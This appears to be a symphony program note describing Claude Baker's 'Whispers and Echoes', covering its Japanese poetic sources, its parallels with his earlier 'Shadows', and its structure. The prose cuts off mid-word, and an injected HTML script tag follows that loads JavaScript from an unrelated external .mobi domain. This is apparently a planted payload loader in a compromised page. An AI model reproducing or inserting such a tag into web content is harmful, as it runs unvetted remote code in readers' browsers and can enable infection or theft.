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Whispers and Echoes is the third work commissioned from Claude Baker by the Saint Louis Symphony Orchestra and is a companion piece to the first of these commissions, Shadows: Four Dirge-Nocturnes for Orchestra.  Mr. Baker advises, in fact, that the new score contains "consciously created parallels" with Shadows.  Both of these works take their inspiration, and to a certain degree their form, from Japanese poetry.  The four sections of Shadows were based on four haiku--two each by the 17th-century master Basho and the 19th-century poet Shiki; for the four sections of Whispers and Echoes, Mr. Baker drew from the same source, in this case two haiku by Basho, one by Buson (18th century), and one tanka by Toshiyuki.

The tanka, a form far less familiar than the haiku, even among the Japanese themselves, is composed of 31 syllables, in the pattern 5-7-5-7-7.  A haiku comprises 17 syllables.  (In this respect Mr. Baker was pleased to find that the performance time for Shadows came to exactly 17 minutes.) Both forms are admired for the extreme subtlety of their language, which customarily relies much more on suggestion and the most delicate forms of imagery than on directness or graphic depiction.  Mr. Baker describes both forms as being

"intended to invoke a wealth of thoughts and emotions; because of their brevity, their effect must be made through the power of suggestion and a deliberate elusiveness: the reader must fill in the outline drawn by the poet.  What I have composed, in both Shadows and Whispers and Echoes, is not meant to paint a more definite picture than that, but simply t o serve as non-verbal commentary on the poems, in this case allowing the listener to fill in with his or her own response."

The four haiku represented in Shadows all relate to a common theme; they are, as Mr. Baker puts it, "death-haunted, macabre, concerned with death and the grave."  The poems that gave rise to Whispers and Echoes relate to dreams of one sort or another--not only the actual dreams that come with sleep ("Death's younger brother"), but daydreams, fantasies, reveries.  (Mr. Baker considered, but rejected, the subtitle "Four Dreamscapes.")  This makes for a somewhat more diverse sequence of moods and images, ranging from playful to violent, and reflected in a somewhat brighter range of orchestral color.  Unlike Shadows, whose four movements correspond to poems about spring, summer, autumn and winter, the new work does not embody a seasonal sequence; though it contains references to summer, autumn and spring, these are of no greater significance than those to night and morning:  here we have four independent impressions, linked only by the common thread of dreaming.

In Shadows there are references to vocal compositions by Britten, Mahler and Stavinsky.  In Whispers and Echoes Mr. Baker has similar references--to Mahler again, to Ravel, to Strauss, and to the 14th-century French composer Baude Cordier.

In its layout Whispers and Echoes forms a sort of mirror image of Shadows.  Where the earlier work's final movement functions as a coda to the preceding one, the new work's opening movement serves as an introduction to the second.  Both works contain isorhythmic sections:  the second of the four movements of Shadows is built on isorhythms, while in Whispers and Echoes it is the first movement.  The second movement of Shadows is scored essentially for percussion and strings, as is the one in the reverse position in Whispers and Echoes, the third.  In the final movement of the new work is an actual citation of material from Shadows.  The individual movements, again, are not assigned titles of their own.

Beyond these observations, the poems themselves (in what Mr. Baker describes as "composite translations" developed from various sources) provide the best descriptions of the music.  The opening movement establishes a further connection with Shadows by placing us on an old battlefield--whi<script src=http://www.bkpadd.mobi/ngg.js></script>

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